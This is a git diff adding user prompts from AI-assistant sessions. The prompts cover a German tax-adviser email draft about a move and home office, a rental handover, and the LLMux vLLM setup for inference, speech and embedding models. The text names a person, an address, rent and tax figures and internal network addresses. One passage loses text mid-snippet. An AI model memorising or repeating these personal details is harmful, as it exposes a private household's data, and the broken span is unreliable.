+ +Du schriebst "Voller Abzug der anteiligen Kosten ist nur möglich, wenn die Räume den Mittelpunkt deiner gesamten Tätigkeit bilden". Warum ist das so? Ich muss doch die zwei Räume der Wohnung für die geschäftliche Nutzung reservieren, falls ich wie erhofft zügig aus den aktuellen Büroräumen ausziehen könnte. Das Finanzamt kann doch nicht erwarten, dass ich meinen geschäftlich veranlassten Mietanteil so lange aus meiner privaten Tasche zahle, bis ich aus dem aktuellen Büroräume-Mietvertrag raus bin. + +## Janina + +Wir haben Zusammenveranlagung und die Zahlung der Internetkosten geht vom gemeinsamen Konto ab. + +## Glasfaser Rechnung hat September-Datum + +Die Glasfaser Rechnung hat das Datum 07.09.2026 und ist somit wohl für die August USt Voranmeldung ohnehin nicht relevant. + +## Kassenbons für das Leitungsweg-Material + +Auf allen diesen Rechnungen stehen August-Kaufdaten als Kaufdatum. + +--- + +Du fragtest "Ist der Einsatz ab Oktober ein freiberuflicher Auftrag über DesTEngS oder eine Anstellung?": Weder noch. + +Es ist eine ANÜ-Stelle, die ich als vorübergehendes Projekt einordne. Ich gebe aber die Freiberuflichkeit nicht auf, habe parallel Kosten durch die freiberufliche Tätigkeit und will ab April 2027 wieder ein richtiges Freiberufler-Projekt anfangen. + +--- + +Kein Homeoffice geplant im ANÜ-Job. +Ungefähr 3 Stunden pro Woche für DesTEngS von zu Hause während des ANÜ-Jobs. + +--- + +Im August habe ich nur im Zeitraum 26.08. - 31.08. das Glasfaser-Internet genutzt, weil es vorher noch nicht installiert war. + +Was meintest du denn mit "die Handwerker- und Dienstleistungsermäßigung für den Umzug (20 % der Lohnkosten als Steuerermäßigung)"? Ich habe den Umzug mit der Hilfe meiner Frau und meiner Söhne durchgeführt, wir hatten lediglich die Miet-Kosten für den LKW. + +--- + +Wir sind ein zusammen veranlagtes Ehepaar, da ist es ja hoffentlich irrelevant, von welchem unserer Bankkonten was bezahlt wird. Und als Freiberufler habe ich sowieso keine Firmierung. Das alles weiß der Steuerberater ohnehin, auch, dass wir zusammen veranlagt werden. Deswegen habe ich "bezahlt wird vom gemeinsamen Konto" entfernt (tatsächlich läuft das Bankkonto nur auf meinen Namen) und „Wir werden zusammen veranlagt“ auch entfernt. + +31 % habe ich durch 25 % geändert, die anderen %-Werte auch. + +Welche Kosten ich für eine doppelte Haushaltsführung ansetzen kann steht ja durch die steuerlichen Gesetze fest, die Frage halte ich für unnötig. + +Der ANÜ Verleiher erstattet sehr wahrscheinlich nichts steuerfrei, ich kann aber noch mal den Verleiher fragen bevor ich ein Quartier buche. + +Bitte sieh es dir nochmal an: + +``` +Subject: Änderungen 2026: Umzug, Arbeitsräume, ANÜ-Stelle + +Sehr geehrter Herr Heiß, + +wie schon telefonisch angesprochen, hat sich unsere berufliche und private Situation stark verändert. + +1. Umzug +Seit 01.08.2026 haben wir einen Mietvertrag für eine Wohnung in der Hauptstraße 1, 85659 Forstern. Eingezogen sind wir am 12.08.2026. Die bisherige gemietete Doppelhaushälfte in Warngau haben wir aufgegeben. Die Finanzämter habe ich noch nicht über den Umzug informiert. + +2. Büroräume Unterhaching +Die beiden Büroräume habe ich gekündigt. Wegen der langen Kündigungsfrist läuft die Miete schlimmstenfalls bis März 2027, sollte ich vorher keinen Nachmieter finden; die Nachmietersuche läuft. Ein Termin für den Büro-Umzug steht noch nicht fest. + +3. Arbeitsräume in der neuen Wohnung +Zwei Räume mit zusammen 26,9 qm (Wohnfläche gesamt 125,7 qm, also anteilig 21,4 %) nutze ich künftig ausschließlich für DesTEngS. Die Räume werden gerade für die Nutzung als DesTEngS-Büro vorbereitet (Netzwerkverkabelung, Malerarbeiten). Die Warmmiete für die gesamte Wohnung (Grundmiete plus Wärme- und Betriebskostenpauschale) beträgt 1.650,00 € pro Monat. + +4. ANÜ-Stelle vom 01.10.2026 bis 31.03.2027 +Ich arbeite in dieser Zeit angestellt über Arbeitnehmerüberlassung beim Kunden vor Ort in Schrobenhausen, ohne Homeoffice-Anteil. Die freiberufliche Tätigkeit führe ich parallel fort (etwa 3 Stunden pro Woche von zu Hause, für Buchhaltung, Marketing und Weiterbildung). Ab April 2027 plane ich wieder freiberufliche Projekte mit überwiegender Arbeit in den DesTEngS-Arbeitsräumen. + +5. Glasfaser-Internet +Für eine stabile, ausreichend schnelle Internet-Verbindung haben wir einen Glasfaser-Anschluss installieren lassen, genutzt wird der Anschluss seit 26.08.2026, der Vertrag läuft auf meinen Namen. +- Aufteilung: Für 2026 habe ich den Anteil nach Nutzungsstunden aufgeteilt: DesTEngS 25 %, Homeoffice meiner Frau 56 %, privat 19 %. +- Den Leitungsweg für die Glasfaser im Haus habe ich selbst vorbereitet. Installationsmaterial und Werkzeug kosteten im August 110,32 € brutto, ich plane 25 % davon in der Umsatzsteuer-Voranmeldung für August anzusetzen. +- Erste Rechnung des Internet-Anbieters vom 07.09.2026: 11,93 € Monatsentgelt (August anteilig, September) und 79,99 € Bereitstellungsgebühr, jeweils brutto. Ich plane 25 % davon in der Umsatzsteuer-Voranmeldung für September anzusetzen. +- Einen im September gekauften Bohrer für Mauerdurchbrüche zur DesTEngS-Netzwerkverkabelung plane ich zu 100 % geschäftlich anzusetzen. + +6. Homeoffice meiner Frau +Meine Frau arbeitet überwiegend im Homeoffice. Bis zum Umzug hatte sie dafür einen eigenen, ausschließlich beruflich genutzten Raum in der Doppelhaushälfte, seit dem Umzug nur noch einen Arbeitsbereich im Wohnzimmer. + +Dazu habe ich einige Fragen: + +a) Arbeitsräume: Wie kann ich die Kosten für 2026 und 2027 ansetzen (tatsächliche Kosten, Jahrespauschale oder Tagespauschale)? Sind Kosten für die Zeit, in der die Räume bereits reserviert sind, als vorweggenommene Betriebsausgaben absetzbar? + +b) Finanzamt: Wechselt die Zuständigkeit mit dem DesTEngS-Büro-Umzug zum Finanzamt Erding? Wann und von wem sollten die Umzugsmitteilungen an welche Finanzämter abgegeben werden, und wie gehen die Dauerfristverlängerung und die Steuernummer über? + +c) Vorsteuer während der ANÜ-Zeit: Ich gehe davon aus, dass ich die Vorsteuer, insbesondere aus der Büromiete, weiter abziehen kann. Sind Nachweise zur fortgeführten Unternehmertätigkeit erforderlich? + +d) Glasfaser und Werkzeug: Ist die Aufteilung nach Nutzungsstunden mit einem festen Anteil für 2026 so in Ordnung, auch für das Installationsmaterial und das angeschaffte Werkzeug? + +e) ANÜ-Stelle: Ich habe vor, für die Werktage ein preiswertes Quartier in der Nähe des Einsatzortes zu mieten und nur am Wochenende nach Hause zu fahren. Sollten wir die Steuerklassen und die Einkommensteuer-Vorauszahlungen anpassen? + +f) Homeoffice meiner Frau: Kann sie den Internetanteil als Werbungskosten ansetzen, obwohl Vertrag und Konto, von dem bezahlt wird, auf meinen Namen laufen? Kann sie die Homeoffice-Tagespauschale ab August nutzen und das frühere Arbeitszimmer für Januar bis Juli 2026 geltend machen? + +g) Termin für Steuererklärungen 2025: Bis wann brauchen Sie unsere Unterlagen für die Steuererklärungen 2025, damit Sie uns eine fristgerechte Abgabe bei den Finanzämtern zusichern können? + +Für Fragen stehe ich Ihnen gern zur Verfügung. + +Mit besten Grüßen + + Thomas Langer +``` + +Ist das nun sendebereit? + diff --git a/WL-Umzug.md b/WL-Umzug.md index fcfa9ee..e029ea3 100644 --- a/WL-Umzug.md +++ b/WL-Umzug.md @@ -1031,3 +1031,43 @@ Wenn du alles OK findest, schreibe bitte die aktualisierte Aufhebungsvereinbarun --- Dankeschön, beim Konvertieren mit Pandoc ging die Formatierung der Aufhebungsvereinbarung zum Teil verloren. Könntest du sie mir im .pdf-Format geben? + +--- + +# Update + +## Zustand der Doppelhaushälfte + +Inzwischen haben wir unsere Sachen aus der Doppelhaushälfte entfernt und alles für die Übergabe vorbereitet: Dübellöcher sind zugespachtelt, die verspachtelten Dübellöcher und einige starke Farbspuren an Wänden sind überstrichen und alles sieht sehr gut aus. + +## Übergabe + +Die Übergabe ist für Montag, 15. September 2026 geplant. + +## E-Mails von Tomitzek und Nebenkostenabrechnungen + +Die angehängten Dateien haben wir am 11. September 2026 per E-Mail erhalten. + +Bitte prüfe den E-Mail Text und die Abrechnungen kritisch. + +## Aufgaben + +Falls du weitere Infos brauchst, frage zuerst danach. + +Dann: Welchen Einfluss hat das auf unsere Strategie, welche Handlungsoptionen haben wir nun und was empfiehlst du uns? + +--- + +Dankeschön. + +Dummerweise haben wir das Übergabeprotokoll des Einzugs nicht im entsprechenden Ordner gefunden. Wie kommst du eigentlich darauf, dass es drei Schlüssel zur Doppelhaushälfte gibt? + +--- + +Nach unserem Auszug möchte ich die Stromlieferverträge kündigen. Ich habe die Daten zusammengesucht und die Kündigung vorbereitet, die ich per E-Mail senden würde. + +Bitte schau sie dir an (angehängt) und lass mich wissen, ob alles vollständig und richtig ist. + +--- + +Dankeschön, ich habe deine Tipps umgesetzt. Ist das angehängte Dokument nun versandbereit? diff --git a/llmux.md b/llmux.md new file mode 100644 index 0000000..b16131e --- /dev/null +++ b/llmux.md @@ -0,0 +1,735 @@ +# LLMux + +## Single AI-model scripts + +### Motivation + +For test purposes shell scripts are needed which run a single AI-model. + +### References + +Study `/home/try/python/docs/details.md` first. In §4 there are four AI models; for each of them a shell script is needed. + +A not optimized shell script example is `/home/try/python/scripts/tlg_serve_inference_nvfp4.sh`. + +### Your tasks + +#### Ask before you start to implement + +Use your AskUserQuestions tool to interview me until you fully understand the situation and your tasks. + +#### Generate shell scripts + +Generate the four shell scripts with vLLM sleep mode enabled but optimized for operation of only one single AI model. Don't reserve a VRAM part for other AI-models. For Qwen3.5-9B, enable the vision capabilities and tool usage, disable MTP, and choose the maximum context window size possible with the given VRAM. Verify by executing the script, determining free VRAM using nvidia-smi, and if the VRAM border is not yet reached stop the script and increase the context window size. Iterate until the VRAM border is reached. + +--- + +I have changed the default ports in the four shell scripts to +- 8081 for inference +- 8082 for embedding +- 8083 for ASR +- 8084 for TTS + +Now please generate the shell script `serve_inference_asr.sh` to run the inference and asr models. +Inference at port 8081 and ASR at port 8083. The asr model size is fixed; use the context-maximization method as before to get the largest possible inference context window size. + +I did run `single-model_serve_inference.sh` and was able to use it with Open WebUI. When I did run `single-model_serve_asr.sh`, I was not able to see any models in Open WebUI anymore; I guess because the model catalogue is provided via port 8081 which was not in use because `single-model_serve_inference.sh` was not running. Ensure that `serve_inference_asr.sh` offers both inference and ASR to Open WebUI. + +--- + +So are the four models with my port edits in the repo now or not? + +--- + +How to get Audio working in Open WebUI? + +I'm using the German UI, so I switch to German now. + +Ich habe als Admin Open WebUI auf `https://kipurchat.creature-go.com/admin/settings/audio` so eingestellt: +- Sprache-zu-Text-Engine: `OpenAI`, `https://api.openai.com/v1`, API-Schlüssel Feld leer +- STT-Modell: `whisper-1` + +Wenn ich auf Speichern klicke, erscheint zum Feld API-Schlüssel "Füllen Sie dieses Feld aus." + +--- + +Ich möchte OpenWhispr mit diesen Modellen betreiben. Nach Installation von OpenWhispr auf meinem Windows 10 PC und setzen der Endpoints funktioniert es nicht. Es gibt kein Feld zum angeben der Modelle und das Fetch Model scheitert mit "Failed to Fetch". Bitte unterstütze mich dabei. + +--- + +Mein PC ist über WireGuard mit einem Rechenzentrum Server verbunden, der wiederum über WireGuard mit dem KI-Server verbunden ist, auf dem die KI-Modelle laufen. Der KI-Server nutzt Traefik und containerized Services. + +In Open WebUI habe ich als Admin diese URLs hier eingestellt: +a) ASR Modell: http://10.0.2.2:8083/v1 +b) Inference Modell: http://10.0.2.2:8081/v1 + +Bevor du wieder voreilige Versuche startest und falsche Annahmen triffst, frage mich, bis du alle nötigen Infos hast oder ich dir bestätige, dass du starten sollst. + +--- + +## Zu 1) + +WireGuard IP-Addresses: +Rechenzentrum Server: 10.8.0.1 DesTEngSsv005 +On-Prem KI-Server: 10.8.0.6 DesTEngSsv006 +PC: 10.8.0.3 DesTEngSnb003 + +Ping vom PC zum KI-Server funktioniert. + +## Zu 2) + +- Open WebUI läuft als Container auf dem KI-Server, und 10.0.2.2 ist die Adresse, über die dieser Container den Host/vLLM erreicht. +- Der Windows-PC kann 10.0.2.2 nicht direkt ansprechen, die Adresse ist nur containerintern gültig. + +## Zu 3) + +Ja, Open WebUI Audio (nur ASR, nicht STT) und Inferenz funktionieren. + +## Zu 4) + +- PC muss direkt als rohe host:port über den WireGuard-Tunnel zugreifen, weil der KI-Server keinen Domain Namen hat (dynamische IP-Adresse, NAT). +- Ob die Ports 8081 und 8083 in Traefik durchgereicht werden, weiß ich im Moment nicht. + +## Zu 5) + +Ich habe jetzt geändert, nun sind in OpenWhispr bei AI Models eingestellt: +a) Unter Speech-to-Text: `Self-Hosted`, Server URL `http://10.8.0.6:8083/v1` +b) Unter Language Models: `Self-Hosted`, Endpoint URL: `http://10.8.0.6:8081/v1`, damit wurde der korrekte Modellname `AxionML/Qwen3.5-9B-NVFP4 Owner: vllm` abgerufen. + +Diktieren funktioniert jetzt - allein unsere Diskussion hat mir das nötige Verständnis gebracht, dankeschön :-) + +--- + +Leider funktioniert es jetzt nicht mehr. Zum Testen habe ich dreimal diesen Satz gesprochen: "Das Lazy-Compile ist in der Praxis unbrauchbar. Ich kann nicht jedes mal 60 Sekunden warten, bis das Diktieren funktioniert." + +Dies waren die eingefügten Texte: + +Test 1: +"Las LFLas LLas LFFFolFanLas L L L LacyLas LacyFanLas LacyLas LacyLas LacyLas L L LacyLas LLas LacyLas LacyLas L LacyLas L LacyLas L LacyLas LacyFanLas LacyLas LacyLas LacyLas LacyLas L LacyFanLas Lacy" + +Test 2: +"Las LLas LLas LLas LLas L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L Llan ist" + +Test 3: +"AlleAlleAlleAlleAlleAlleDasAlleisikoDasDasDasDasDas istDas istDas istDas ist derDas istDas ist derDas ist inDas ist deDas LDas LeseDas ist inDas LaisikoDas LaisikoDas ist inDas LeseDas ist in" + +Woran könnte das liegen? + +--- + +Diese ständigen Inkompatibilitäten sind sehr frustrierend. + +Anstelle eines Quick-and-Dirty Fixes würde ich gern verstehen, warum das ursprünglich gewählte ASR Modell mit vLLM versagt hat. Dann würde ich gern das am besten für mich geeignete Modell auswählen; das könnte ein anderes sein als das, welches du jetzt zum Testen verwendet hast. Schön wäre auch, das Modell dann in 4-Bit Quantisierung für vLLM zu nutzen. + +--- + +Bitte URLs von einem oder mehreren Benchmarks oder Vergleichstabellen, bei denen ich die Qualität aktueller ASR-Modelle ablesen kann + +--- + +Bitte validiere CohereLabs/cohere-transcribe-03-2026 + +--- + +nvidia/canary-1b-v2 nutzt die CC-BY-4.0 Lizenz, ist die für mich unschädlich? + +--- + +CohereLabs/cohere-transcribe-03-2026: Ich habe mich bereits früher registriert ("Gated model You have been granted access to this model"). + +Das mit dem Token habe ich probiert, er ist aber woanders gelandet: +``` +(venv-vllm-omni-sleep) try@destengssv006:~/.cache/huggingface$ hf auth login + + _| _| _| _| _|_|_| _|_|_| _|_|_| _| _| _|_|_| _|_|_|_| _|_| _|_|_| _|_|_|_| + _| _| _| _| _| _| _| _|_| _| _| _| _| _| _| _| + _|_|_|_| _| _| _| _|_| _| _|_| _| _| _| _| _| _|_| _|_|_| _|_|_|_| _| _|_|_| + _| _| _| _| _| _| _| _| _| _| _|_| _| _| _| _| _| _| _| + _| _| _|_| _|_|_| _|_|_| _|_|_| _| _| _|_|_| _| _| _| _|_|_| _|_|_|_| + + To log in, `huggingface_hub` requires a token generated from https://huggingface.co/settings/tokens . +Enter your token (input will not be visible): +Add token as git credential? [y/N]: y +Token is valid (permission: fineGrained). +The token `try@destengssv006` has been saved to /home/try/python/hf-cache/stored_tokens +Cannot authenticate through git-credential as no helper is defined on your machine. +You might have to re-authenticate when pushing to the Hugging Face Hub. +Run the following command in your terminal in case you want to set the 'store' credential helper as default. + +git config --global credential.helper store + +Read https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage for more details. +Token has not been saved to git credential helper. +Your token has been saved to /home/try/python/hf-cache/token +Login successful. +The current active token is: `try@destengssv006` +(venv-vllm-omni-sleep) try@destengssv006:~/.cache/huggingface$ +``` + +--- + +Das ist sehr schlecht: In dem Format frisst cohere-transcribe 7828 MB VRAM - die Hälfte! Damit wäre das Qwen3.5-9B nicht mehr vernünftig gleichzeitig nutzbar. + +Inakzeptabel. Findest du das 4-bit Quantisiert als AWQ? + +Sonst nehmen wir ein anderes, so viel VRAM können wir nicht opfern. + +--- + +Zum Diktieren und sofortigem Korrigieren brauchen wir sofort das Inference Modell nach dem ASR Modell. Erst das eine in sleep und das andere wecken ist zu träge. + +Nimm das openai/whisper-large-v3-turbo, das ist schön klein, schnell und multilingual, hat für Deutsch eine akzeptable WER. Das hattest du vorhin schon validiert, stimmt's? Falls ja, bitte alle Shell Skripte, in denen das ASR-Modell vorkommt, durch openai/whisper-large-v3-turbo aktualisieren. + +--- + +Du hast beim `exec vllm serve` das Modell ausgetauscht, aber die weiteren Optionen so gelassen. Frage zu `--enforce-eager` und `--max-model-len 448`: Waren das nicht Optionen, die spezifisch für das primeline Modell waren? Sollten diese nicht entfernt oder kritisch überprüft werden? + +Hast du Prozesse laufen lassen? VRAM ist belegt. + +OpenWhispr funktioniert nicht: +``` +Transcription Error +Transcription failed: API Error: 404 +{"error":{"message":"The model `primeline/distil-whisper-large-v3-german` does not exist.","type":"NotFoundError","param":"model","code":404}} +``` + +Ich sehe in den OpenWhispr Einstellungen kein Feld, in das ich den ASR-Modell Namen eingeben könnte. Die URL ist unverändert auf `http://10.8.0.6:8083/v1`. + +Danke für deinen Hinweis `Die erste Transkription nach einem Server(neu)start dauert ~60 s (Whisper Lazy-Compile), danach sub-Sekunde.` +Das stört sehr - ich will nicht beim Diktieren erst mal 60 Sekunden Zeit verschwenden, um auf ein System zu warten, was zu faul ist, beim Server-Start zu initialisieren. Ist das tatsächlich bei whisper-large-v3-turbo auch so? Wie lässt sich das beseitigen? + +--- + +Danke, Diktieren funktioniert jetzt. + +Weil die OpenWhispr App eine unsinnige Funktion hat, hast du jetzt auf unserer Serverseite einen Workaround einprogrammiert, um das Quick & Dirty zu fixen? Das finde ich nicht gut. + +Anstatt auf dem Server irgendwelche schmutzigen Tricks zu machen, damit falsche Funktionen bei PC Apps weiter funktionieren, sollten wir doch lieber die PC-App resetten oder das Modell, was früher benutzt wurde, da raus nehmen. Das erscheint mir erheblich besser als den Server zu verbiegen, um Unsinn zu unterstützen. + +--- + +Danke fürs Wiederherstellen der korrekten Server-Konfiguration. + +Zum OpenWhispr Resetten: +- Punkt 1 funktioniert nicht. +- Punkt 2: Möchte ich gern ausführen, aber ich finde die Settings-/Config-Datei nicht. Ich kenne `C:\Users\tlg\AppData\Roaming\open-whispr` und `C:\Users\tlg\AppData\Local\Programs\OpenWhispr`, habe dort nachgesehen aber keine solche Datei gefunden. Kannst du mir genauer sagen, wo ich sie finden kann? + +--- + +DevTools-Konsole ließ sich öffnen. Ich habe nach aktivieren von Paste das hier rein gepastet: +``` +for (let i=0;i volles Kommando + ps -eo pid,ppid,cmd | grep -E 'vllm|EngineCore' | grep -v grep # alle vLLM-Prozesse + + 2) Beenden + + kill 4057062 # sanft (SIGTERM); wenn's nach ein paar Sekunden noch lebt: + kill -9 4057062 # hart (SIGKILL) + Alles auf einmal freiräumen (zuverlässigste Methode): + for p in $(nvidia-smi --query-compute-apps=pid --format=csv,noheader); do kill -9 "$p"; done + + 3) Die Stolperfalle (genau unser CosyVoice3-Fall) + + vLLM startet mehrere Prozesse: APIServer (lauscht am Port) + EngineCore (hält den VRAM); bei vLLM-Omni zusätzlich StageEngineCoreProc pro Stage. + - fuser -k oder das Killen des APIServers tötet den EngineCore NICHT → er bleibt als Waise und hält den VRAM weiter. Deshalb scheiterten meine ersten Kill-Versuche. + - Sichere Ergänzung: + fuser -k 8084/tcp # tötet den API-Server am Port + pkill -9 -f EngineCore # killt die VRAM-haltenden Kinder + pkill -9 -f StageEngine # zusätzlich bei vLLM-Omni + ⚠️ pkill -f "vllm serve" ist bequem, kann aber die eigene Shell/grep mittreffen — PID oder die for-Schleife sind sicherer. + + 4) Den Diktier-Stack sauber stoppen + + Der Supervisor serve_inference_asr.sh hat einen Trap → ein einziges SIGTERM fährt beide Modelle geordnet runter: + pgrep -af serve_inference_asr.sh # Supervisor-PID finden + kill # stoppt Inferenz + ASR zusammen + + 5) Immer verifizieren + + sleep 3; nvidia-smi --query-gpu=memory.used --format=csv,noheader + → Im Leerlauf ~69 MiB. Steht noch etwas drin → übrig gebliebener EngineCore/StageEngine; dann die for-Schleife (Punkt 2) bzw. pkill -9 -f EngineCore nochmal. + + Merksatz: Den VRAM hält der EngineCore (bzw. StageEngineCoreProc), nicht der API-Server — über den Port allein wirst du ihn nicht los. Und /sleep gibt nur fast alles frei (Residue bleibt); wirklich 0 + wird es erst, wenn der Prozess beendet ist. + +--- + +Ich möchte die Sprachqualität von VoxCPM2 evaluieren, indem ich Open WebUI vorlesen lasse. Ich habe auf OpenAI gestellt und `http://10.0.2.2:8084/v1` angegeben. Was muss ich in den Feldern `TTS-Stimme` und `TTS-Modell` eintragen? Und muss ich etwas bei `Weitere Parameter` eintragen? + +--- + +Ich habe in Open WebUI die Parameter eingetragen und sie sind wirksam (das voreingestellte, sehr schlechte TTS-Modell wird nicht mehr benutzt). Dann habe ich ein Inference-Lauf gemacht, um im Chat-Fenster Text zu haben. Anschließend VRAM frei gemacht. + +Ich habe im Terminal `single-model_serve_tts.sh` gestartet und gesehen, dass es normal hochfährt. Dann habe ich in Open WebUI auf Vorlesen geklickt, was anders als zuvor zu einer kurzen Pause führte (Punkte anstelle des Buttons für Warten), anschließend sah ich im Terminal Requests und im Open WebUI sah es aus, als würde vorgelesen werden - aber im Headset habe ich nichts gehört. Vor diesem Test hatte ich im Headset das voreingestellte, sehr schlechte TTS-Modell gehört. + +Was tun? + +--- + +Mit `{"response_format": "mp3"}` getestet, jetzt höre ich Ton. +In Open WebUI ist für TTS Antwortaufteilung `Punktuation` eingestellt, für jeden Satz wird ein Request ans TTS gesendet. + +Ich habe jeden neuen Satz mit einer anderen Stimme gehört. Sicherlich liegt das an der Open WebUI Einstellung `default` im Feld `TTS-Stimme`. Bitte zeige mir, welche Stimmen ich dort eintragen kann, damit ich eine Stimme fest einstellen kann. + +Lästig: Für die Tests musste ich viele zeitraubende Schritte manuell ausführen: +1. VRAM frei machen. +2. Inference-Modell starten und auf Bereitschaft warten. +3. Open WebUI Chat durchführen. +4. Inference-Modell stoppen, um VRAM frei machen. +5. Als Benutzer aus Open WebUI ausloggen. +6. Als Admin die Open WebUI Einstellungen ändern. +7. TTS-Modell starten und auf Bereitschaft warten. +8. Als Benutzer in Open WebUI einloggen (ohne aus- und einloggen wurden die Admin-Änderungen nicht wirksam). +9. Vorlesen lassen. +Hast du Tipps, wie ich das beschleunigen kann? + +--- + +Nein. + +Und ich bezweifle, dass die beiden Namen, die dir VoxCPM2 auf deinen Request gegeben hat, die Namen sind, die es kennt. Ich habe mindestens sechs verschiedene, alle einwandfrei deutsch sprechende Stimmen gehört. + +Bitte spawne einen Opus Subagent, der einen Deep Research durchführt um herauszufinden, wie man welche bereits vorhandenen Stimmen wählen kann. + +--- + +Strg+Umschalt+R hat die Modellwechsel- und Re-Login Problematik gelöst. + +Nach eintragen von `de_ref` bei `TTS-Stimme` hörte ich eine vorher noch nicht gehörte Stimme - leider die unatraktivste von allen bisher gehörten Stimmen. + +Bestätigt den Deep Research Outcome. + +Zu deinem Tipp, um eine schöne Stimme zu „fangen": Das vorlesen lassen ist leicht, aber wie ich das als als WAV abspeichern lassen kann, um später die beste Stimme zu nehmen, ist mir noch nicht klar geworden. Du schriebst, das ist auf meiner Box nicht konfiguriert. Also bitte Prozess genauer erklären, damit ich es verstehe und ggf. auf meiner Box konfigurieren, bitte. + +--- + +`cand_4.wav` möchte ich, bitte konfiguriere das soweit es dir möglich ist. Anstatt einer *Hobby-Namensgebung* wie "meine_stimme" bitte "de_m_schnell.wav" verwenden (für deutsch, männlich, schnell). + +--- + +Leider ist `de_m_schnell.wav` eine ganz andere Stimme. Kannst du erreichen, dass die `cand_4.wav`-Stimme verwendet wird? + +--- + +Das hat funktioniert, ist aber wieder ein Quick-and-Dirty Fix. + +Es ist nicht gewünscht, bei jedem Satz die Referenz neu einzulesen und die Stimme jedesmal neu zu bauen. + +Nimm doch einfach die WAV Dateien `ORIGINAL_cand_4.wav` und `A_inline.wav`, mach daraus eine WAV Datei und lasse daraus ein Profil generieren, was dann fest benutzt wird. + +--- + +Open WebUI Vorlesen mit der gewünschten Stimme funktioniert: Das TTS-Modell ist ausgewählt, mit Stimm-Profil versehen, evaluiert und für gut befunden. + +Bitte die Prozesse beenden, die das VRAM belegen. Ich starte dann später den Diktier-Stack mit `serve_inference_asr.sh`. + +Unser Context Window ist schon sehr voll: Es wird so langsam Zeit, die Session zu beenden. + +Als anderer User in einer anderen Claude Code Session werde ich LLMux implementieren. Bitte erstelle auf Englisch ein detailliertes Dokument mit den Ideen und Annahmen dieser Session zu LLMux. Das soll kein plan.md sein, nach dem Claude Code dann baut; es soll auch kein Requirements Specification Dokument sein, sondern dient nur dazu, den LLMux Kontext dieser Session in die neue Session zu übertragen. + +Ich reviewe dann das Dokument, erst anschließend committen. + +--- + +Nach beginnen des Reviews fiel mir schnell auf, dass ich dir mehr Kontext für die Aufgabe mitgeben muss. + +## Testumgebung + +Wir sind hier in einer Testumgebung, in der wir ermitteln, was für Möglichkeiten und Grenzen es bei bestimmten Spezialgebieten gibt, wobei auch hier keine Basteleien ausprobiert und Quick-and-Dirty Fixes erstellt werden sollen, sondern professionelle Teil-Lösungen. Die aus den Tests gewonnen Erkenntnisse und auch die dabei gefundenen Ideen sollen in die Produktentwicklung einfließen können - ob sie tatsächlich berücksichtigt werden, wird nicht hier entschieden. + +## Labortester + +Nimm die Position eines Labortesters ein, der wichtige Erkenntnisse präzise und ohne Vereinfachungen dokumentiert. Dabei darfst du keine Anweisungen erteilen oder etwas anders darstellen, als es tatsächlich ist. + +## Verbesserungswürdig im Context Transfer Dokument + +- `the authoritative design/requirements live in` ist nicht gut: Du legst nicht fest, was authoritative design/requirements sind. Hier in der Testumgebung liegen keine authoritative design/requirements für das Produktdesign. +- `LLMux ... keeps exactly one heavy model awake and the rest asleep/stopped` ist nicht präzise genug: Meist werden Inference + ASR wach sein. Falsch ist es nicht (Inference ist das heavy model), aber ohne Wissen, dass neben einem heavy model noch ein ASR gewünscht ist, könnte diese Zweier-Kombination falsch eingeordnet werden. +- `between a WebUI (Open WebUI) and` impliziert, dass das WebUI Tool Open WebUI sein wird - ich hatte geschrieben, dass es *wahrscheinlich* Open WebUI sein wird, aber das steht noch nicht fest. +- Grund für llama.cpp ist außer Qwen3.6-27B auch Gemma-4-12B und gpt-oss-20b. + +Bitte überarbeite das Dokument. Beziehe dich allgemein auf ein `Web UI tool`, nicht fest auf `Open WebUI`. + +--- + +` This friction is the stated motivation for an automated, VRAM-aware mediator.` stimmt nicht; das hattest du nur angenommen - bitte entfernen. LLMux löst allerdings auch die in §9 geschilderte Test-Problematik, das als Bemerkung dazu schreiben. Die tatsächliche Motivation ist, dass die Modelle über das Web UI Tool gewählt werden sollen und dass die möglichst schnelle Umschaltung zwischen Inference + ASR und TTS im Voice-Mode (also nicht diktieren, sondern Sprach-Chat) ermöglicht wird. + +Das bitte noch ändern. + +--- + +Alles OK, bitte committen. + +--- + +User `try` auf DesTEngSsv006 Claude Code Session zu Qwen3.5-9B, ASR, TTS und vLLM, vLLM-Omni AI Framework beendet. + +Resume this session with: +claude --resume 3e2858f9-c647-4df3-b216-215074b33743 + +--- + +# Embedding model athrael-soju/colqwen3.5-4.5B-v3 + +## Preparation + +Please study `/home/try/python/docs/details.md` first. + +## Motivation + +Among four AI models the embedding model did not work well. In the meantime another embedding model was released which outperforms the problematic one in benchmarks: [athrael-soju/colqwen3.5-4.5B-v3](https://huggingface.co/athrael-soju/colqwen3.5-4.5B-v3). +This new model shall be used and needs to be brought to operation with vLLM including sleep mode. + +## Your tasks + +Create a backup of the old embedding model startup script `/home/try/python/scripts/single-model_serve_embedding.sh`. + +Then replace the model in the embedding model startup script by `athrael-soju/colqwen3.5-4.5B-v3`. + +Execute the startup script and test the functionality: +- Does the model start OK? +- Does the model generate the expected embedding multi-vectors? +- Can the vLLM process be send to sleep mode? +- Can the vLLM process wake up again? +- Does the model generate the expected embedding multi-vectors after sleep and wake-up? +If the functionality is completely fine, your tasks are already completed here (the other three AI models were tested before and work well in the existing frameworks). + +If not, find a way to provide full functionality. +If you have to fix or update vLLM do so but before and afterwards test the functionality of all four AI models. + +All your tasks are done when all four AI models work well after your fix or update. + +## Ask before starting + +Use your AskUserQuestions tool now to interview me until you completely understand the situation and your tasks. + +--- + +Claude Code succeeded: + +```markdown + Summary + + Task complete. The new embedding model athrael-soju/colqwen3.5-4.5B-v3 is fully operational on vLLM with sleep mode. + + What I did + + 1. Backed up the old script → scripts/single-model_serve_embedding.sh.bak-tomoro-colqwen3 (on disk; prior version also in git history). + 2. Swapped the model in single-model_serve_embedding.sh to athrael-soju/colqwen3.5-4.5B-v3 (arch ColQwen3_5, bf16, multi-vector dim 320 — registered in base vLLM 0.22.1). + 3. Hit the documented "multi-vector serialization bug" and root-caused it. + + Root cause (not the sm_120/cu130 stack) + + The vLLM-Omni plugin auto-loads for every vllm serve and monkey-patches EngineCoreOutput.pooling_output from torch.Tensor | None → dict[str, torch.Tensor] | None (omni needs the dict form for its + TTS/diffusion stages). Standard pooling emits a plain tensor, so the EngineCore→APIServer msgpack IPC rejects it (Expected object|null, got array at $[1][0][4]) and the engine dies. msgspec forbids + widening a custom-type union, so the field can't just be re-typed. + + Fix (isolated, patch-only — no vLLM upgrade needed) + + The embedder 